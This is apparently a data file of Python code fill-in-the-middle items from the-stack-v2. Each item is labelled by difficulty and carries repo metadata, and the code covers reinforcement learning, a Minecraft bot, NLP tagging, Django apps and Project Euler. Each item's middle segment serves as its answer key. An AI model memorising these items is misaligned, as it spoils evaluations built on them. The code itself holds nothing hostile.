<|fim_suffix|> return mistakes_delta def plot_errors(mistakes_sarsa, mistakes_q_learning): plt.gca().invert_yaxis() legend = [] for mistake_sarsa in mistakes_sarsa: plt.plot(mistake_sarsa[1]) legend.append(r'SARSA $\epsilon={}$'.format(mistake_sarsa[0])) for mistake_q_learning in mis...
code_fim
hard
{ "lang": "python", "repo": "igorpejic/q_learning_sarsa", "path": "/cliff_walking.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> printTitle(reportHtmlFile, libName) libAbsolutePath = os.path.split(stackFile)[0] + "/" + libName if not os.path.exists(libAbsolutePath): os.makedirs(libAbsolutePath) flStackFilePath = libAbsolutePath + "/fl_stack.txt" ...
code_fim
hard
{ "lang": "python", "repo": "Gaodo/NativeLeakProf", "path": "/nlp_stack_parser.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># 3 def transform_data2(fn, *args): for arg in args: print(fn(arg)) transform_data2(lambda data: data / 5, 10, 15, 22, 30) # 4 def transform_data2(fn, *args): for arg in args: print('Result: {:^20.2f}'.format(fn(arg))) transform_data2(lambda data: data / 5, 10, 15, 2...
code_fim
easy
{ "lang": "python", "repo": "sliverz6/Python_Blockchain_Project", "path": "/assignment.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># 4 def transform_data2(fn, *args): for arg in args: print('Result: {:^20.2f}'.format(fn(arg))) transform_data2(lambda data: data / 5, 10, 15, 22, 30)<|fim_prefix|># repo: sliverz6/Python_Blockchain_Project path: /assignment.py # 1 def transform_data(fn): print(fn(10)) <|fim_mi...
code_fim
medium
{ "lang": "python", "repo": "sliverz6/Python_Blockchain_Project", "path": "/assignment.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """Return the number of times it takes to drop a distance dist. drop is the length of one drop. Both are assumed positive.""" rtn = dist / drop if dist % drop != 0: rtn += 1 return rtn def _return_heuristic(bot, problem): """Return the return heuristic. bot is an...
code_fim
hard
{ "lang": "python", "repo": "escramer/minecraft-bot", "path": "/bot.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: escramer/minecraft-bot path: /bot.py nd mine the block below.""" new_pos = self._pos + _Vec3(0, -1, 0) block_ = self._get_block(new_pos) if block_ != _WATER: self._add_to_inv(block_) self._move(new_pos) def _add_to_inv(self, block_): ...
code_fim
hard
{ "lang": "python", "repo": "escramer/minecraft-bot", "path": "/bot.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: escramer/minecraft-bot path: /bot.py return _Vec3(self.x, self.y, self.z) class _GenericBot: """A generic bot.""" def __init__(self, pos, inventory=None): """Initialize with an empty inventory. inventory is a dictionary. If None, an empty one will be used.""" ...
code_fim
hard
{ "lang": "python", "repo": "escramer/minecraft-bot", "path": "/bot.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def iter_seq(x): return np.array([x[i: i+seq_len] for i in range(0, len(x)-seq_len, 1)]) def to_train_seq(*args): ''' :param args: 词转为的id的序列   词性转为id的序列 :return: ''' return [iter_seq(x) for x in args] def generate_char_seq(batch): ''' 传进来是50一个块 总共有多少块 然后将每块的单词转为字符序...
code_fim
hard
{ "lang": "python", "repo": "ZhangWen0629/NLP_tensorflow_project", "path": "/Entity_Posing/001-rnn+lstm+crf.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> train_X, train_Y = parse_XY(left_train, right_train) test_X, test_Y = parse_XY(left_test, right_test) # print(train_X[:20]) # print(train_Y[:20]) idx2word = {idx: tag for tag, idx in word2idx.items()} idx2tag = {i: w for w, i in tag2idx.items()} seq_len = 50 X_seq, Y_seq...
code_fim
hard
{ "lang": "python", "repo": "ZhangWen0629/NLP_tensorflow_project", "path": "/Entity_Posing/001-rnn+lstm+crf.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> res_s = torch.FloatTensor(res_s).to(self.device) res_a = torch.LongTensor(res_a).to(self.device) res_r = torch.FloatTensor(res_r).to(self.device).view(-1, 1) # stack batch and put self.q_batch.put((res_s, res_a, res_r))<|fim_prefix|># repo: ShogoAkiyama/rltorch2 p...
code_fim
hard
{ "lang": "python", "repo": "ShogoAkiyama/rltorch2", "path": "/a2c/qmaneger.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> while True: traces = self.q_trace.get(block=True) for s, a, r in zip(traces[0], traces[1], traces[2]): self._push_one(s, a, r) if len(self.traces_s) > self.opt.batch_size: self.produce_batch() def produce_batch(self): ...
code_fim
hard
{ "lang": "python", "repo": "ShogoAkiyama/rltorch2", "path": "/a2c/qmaneger.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>with torch.no_grad(): correct = 0 total = 0 for i, image in enumerate(test_images): image = torch.Tensor(test_images[i]).reshape(1, 65536) label = torch.Tensor([int(test_labels[i])]) outputs = model(image) outputs = outputs.squeeze(0) outputs = 1 if torc...
code_fim
hard
{ "lang": "python", "repo": "masarain/cs229TreeHugger", "path": "/train-jpg/nn.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>use_list.append(clause) cp_clause_list.append({ "cp": cp, "clauses": clauses }) return cp_clause_list, clause_list<|fim_prefix|># repo: asv7es/CS6888_Project path: /queryparser.py import dnf_converter def parse(query): print("parsing the query...") query = dnf_converter.convert(query) cp_clause_li...
code_fim
medium
{ "lang": "python", "repo": "asv7es/CS6888_Project", "path": "/queryparser.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> str = context.get('str', UNDEFINED) rentals = context.get('rentals', UNDEFINED) def content(): return render_content(context) request = context.get('request', UNDEFINED) STATIC_URL = context.get('STATIC_URL', UNDEFINED) __M_writer = context.write...
code_fim
hard
{ "lang": "python", "repo": "codycolson/INTEX", "path": "/chf/cached_templates/templates/account.rentalcart.html.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> class Relation(models.Model): id_relation = models.AutoField(primary_key=True) id_person1 = models.ForeignKey(Person, on_delete=models.PROTECT, related_name="who1") id_person2 = models.ForeignKey(Person, on_delete=models.PROTECT, related_name="who2") description = models.CharField(max_len...
code_fim
hard
{ "lang": "python", "repo": "wertarts/APV_F", "path": "/firstapp/models.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: xgao0412/stock_price_app path: /aa.py import requests import json import pandas as pd n1 = 'ADS' api_url = 'https://www.quandl.com/api/v3/da<|fim_suffix|>f = df.head(100) print(df.head()) #print(list(data))<|fim_middle|>tasets/WIKI/%s.csv' % n1 df = pd.read_csv(api_url) d
code_fim
easy
{ "lang": "python", "repo": "xgao0412/stock_price_app", "path": "/aa.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # TRAINING SESSIONS di = training_trials.Intervals( self.training_lt5['path']).extract()[0] self.assertTrue(isinstance(di, np.ndarray)) self.assertFalse(np.isnan(di).all()) # -- version >= 5.0.0 di = training_trials.Intervals( self.tr...
code_fim
hard
{ "lang": "python", "repo": "int-brain-lab/ibllib", "path": "/ibllib/tests/extractors/test_extractors.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: int-brain-lab/ibllib path: /ibllib/tests/extractors/test_extractors.py f.training_ge5['path']) trial_nogo = np.array( [~np.isnan(t['behavior_data']['States timestamps']['no_go'][0][0]) for t in data]) if any(trial_nogo): self.assertTrue(all(cho...
code_fim
hard
{ "lang": "python", "repo": "int-brain-lab/ibllib", "path": "/ibllib/tests/extractors/test_extractors.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: int-brain-lab/ibllib path: /ibllib/tests/extractors/test_extractors.py ['path']).extract()[0] self.assertTrue(isinstance(st[0], np.ndarray)) # BIASED SESSIONS st = biased_trials.StimOnOffFreezeTimes( self.biased_ge5['path']).extract()[0] self.assertTru...
code_fim
hard
{ "lang": "python", "repo": "int-brain-lab/ibllib", "path": "/ibllib/tests/extractors/test_extractors.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>class LampViewSet(viewsets.ModelViewSet): serializer_class = LampSerializer queryset = Lamp.objects.all() router = routers.DefaultRouter() router.register(r'lamps', LampViewSet)<|fim_prefix|># repo: stevenpi/Link.Python.Django.LampControl path: /lamp_control/api.py from rest_framework import s...
code_fim
medium
{ "lang": "python", "repo": "stevenpi/Link.Python.Django.LampControl", "path": "/lamp_control/api.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> class Meta: model = Lamp fields = '__all__' class LampViewSet(viewsets.ModelViewSet): serializer_class = LampSerializer queryset = Lamp.objects.all() router = routers.DefaultRouter() router.register(r'lamps', LampViewSet)<|fim_prefix|># repo: stevenpi/Link.Python.Django.La...
code_fim
medium
{ "lang": "python", "repo": "stevenpi/Link.Python.Django.LampControl", "path": "/lamp_control/api.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def trial_division(n): if n == 1: return [1] primes = get_primes_upto(int(n**0.5) + 1) prime_factors = [] for p in primes: if p*p > n: break while n % p == 0: prime_factors.append(p) n //= p if n > 1: prime_factors.append(n) return prime_...
code_fim
medium
{ "lang": "python", "repo": "jobby/project-euler", "path": "/python/problem47.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>fs = [0] c = 0 for i in range(1,1000000): c+= 1 fs.append(unique_factors(i)) if len(fs) > 4: if fs[-4:] == [4,4,4,4]: print c -3 break<|fim_prefix|># repo: jobby/project-euler path: /python/problem47.py def prime_sieve(n): if n==2: return [2] elif n<2: retu...
code_fim
medium
{ "lang": "python", "repo": "jobby/project-euler", "path": "/python/problem47.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # Writing: outfile x.writeNAFiles(outfile, delimiter=",", float_format="%g")<|fim_prefix|># repo: cedadev/nappy path: /tests/test_2010_to_2310.py import os from .common import cached_outputs, data_files, test_outputs import nappy.nc_interface.na_to_nc import nappy.nc_interface.nc_to_na def te...
code_fim
medium
{ "lang": "python", "repo": "cedadev/nappy", "path": "/tests/test_2010_to_2310.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|>ekjgdklab' str2 = 'gka' nPos = -1 for c in str1: if c in str2: nPos = str1.index(c) break print(nPos)<|fim_prefix|># repo: PykeChen/pythonBasicGramer path: /strOperator.py # strspn(str1,str2) str1 = '12345678' str2 = '456' # str1 an<|fim_middle|>d chars both in str1 and str2 print(str...
code_fim
medium
{ "lang": "python", "repo": "PykeChen/pythonBasicGramer", "path": "/strOperator.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> urlpatterns = [ path('admin/', admin.site.urls), path('api/', include('api.urls')), path('api/adv/', include('adventure.urls')), # path('api-token-auth', views.obtain_auth_token) ]<|fim_prefix|># repo: MUD-Django/MUD-Django-BE path: /adv_project/urls.py from django.contrib import admin f...
code_fim
medium
{ "lang": "python", "repo": "MUD-Django/MUD-Django-BE", "path": "/adv_project/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> urlpatterns = [ path('admin/', admin.site.urls), path('api/', include('api.urls')), path('api/adv/', include('adventure.urls')), # path('api-token-auth', views.obtain_auth_token) ]<|fim_prefix|># repo: MUD-Django/MUD-Django-BE path: /adv_project/urls.py from django.contrib import admin ...
code_fim
medium
{ "lang": "python", "repo": "MUD-Django/MUD-Django-BE", "path": "/adv_project/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> return root def successor(self,root): temp = root if root.right: while temp.left: temp = temp.left return temp def inorder(self,root): if root is not None: self.inorder(root.left) print(root.da...
code_fim
hard
{ "lang": "python", "repo": "naveenc131/project", "path": "/Practice/bst.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # Print left plot title pyplot.title( "Press X to exit\nPress S to save", loc="left", fontsize=14, color="#1F76B4", style="italic", pad=20, ) # Print right plot title pyplot.title( ...
code_fim
hard
{ "lang": "python", "repo": "thanhph111/prosthetic-foot-design", "path": "/src/sub/plot.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Set icon manager = pyplot.get_current_fig_manager() manager.window.wm_iconbitmap(CONS["ICON_FILE"]) # Disable some borders subplot = fig.add_subplot(111, frameon=True) subplot.spines["right"].set_visible(False) subplot.spines["left"].set_visible(False) subplot.spines["to...
code_fim
hard
{ "lang": "python", "repo": "thanhph111/prosthetic-foot-design", "path": "/src/sub/plot.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: syr9711/homework path: /2-16.py wage=5 print("%d시간에 %d%s 벌었습니다." %(1, wage*1, <|fim_suffix|>) print("%d시간에 %.1f%s 벌었습니다" %(5, 28554.0, "원"))<|fim_middle|>"달러")) print("%d시간에 %d%s 벌었습니다." %(5, wage*5, "달러")) print("%d시간에 %.1f%s 벌었습니다" %(1,5710.8,"원")
code_fim
medium
{ "lang": "python", "repo": "syr9711/homework", "path": "/2-16.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>러")) print("%d시간에 %.1f%s 벌었습니다" %(1,5710.8,"원")) print("%d시간에 %.1f%s 벌었습니다" %(5, 28554.0, "원"))<|fim_prefix|># repo: syr9711/homework path: /2-16.py wage=5 print("%d시간에 %d%s 벌었습니다." %(1, wage*1, <|fim_middle|>"달러")) print("%d시간에 %d%s 벌었습니다." %(5, wage*5, "달
code_fim
easy
{ "lang": "python", "repo": "syr9711/homework", "path": "/2-16.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> @addToClass(UnaryMinus) def printTree(self, indent=0): print_intended('-', indent) self.value.printTree(indent + 1) @addToClass(Transpose) def printTree(self, indent=0): print_intended(self.type, indent) self.value.printTree(indent + 1) # Other @ad...
code_fim
hard
{ "lang": "python", "repo": "werkaaa/theory_of_compiling", "path": "/src/interpreter/tree_printer.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> result += path if path.endswith('/') else '{}/'.format(path) #result = result[:-1] return result<|fim_prefix|># repo: Mallik-G/DeltaWarehouse path: /src/utils/url_path.py class UrlPath: @staticmethod def combine(*args):<|fim_middle|> result = '' for path in args:...
code_fim
easy
{ "lang": "python", "repo": "Mallik-G/DeltaWarehouse", "path": "/src/utils/url_path.py", "mode": "spm", "license": "LicenseRef-scancode-unknown-license-reference", "source": "the-stack-v2" }
<|fim_suffix|>def test_main_cnv(): main_cnv(tarfile) if __name__ == "__main__": test_main_cnv()<|fim_prefix|># repo: Tina9/circos_report path: /tests/test_cnv_proconf.py import sys sys.path.append("../circos_report/cnv_anno2conf") from cnv_anno2conf import main_cnv <|fim_middle|>tarfile = {"yaml": "data/tes...
code_fim
easy
{ "lang": "python", "repo": "Tina9/circos_report", "path": "/tests/test_cnv_proconf.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }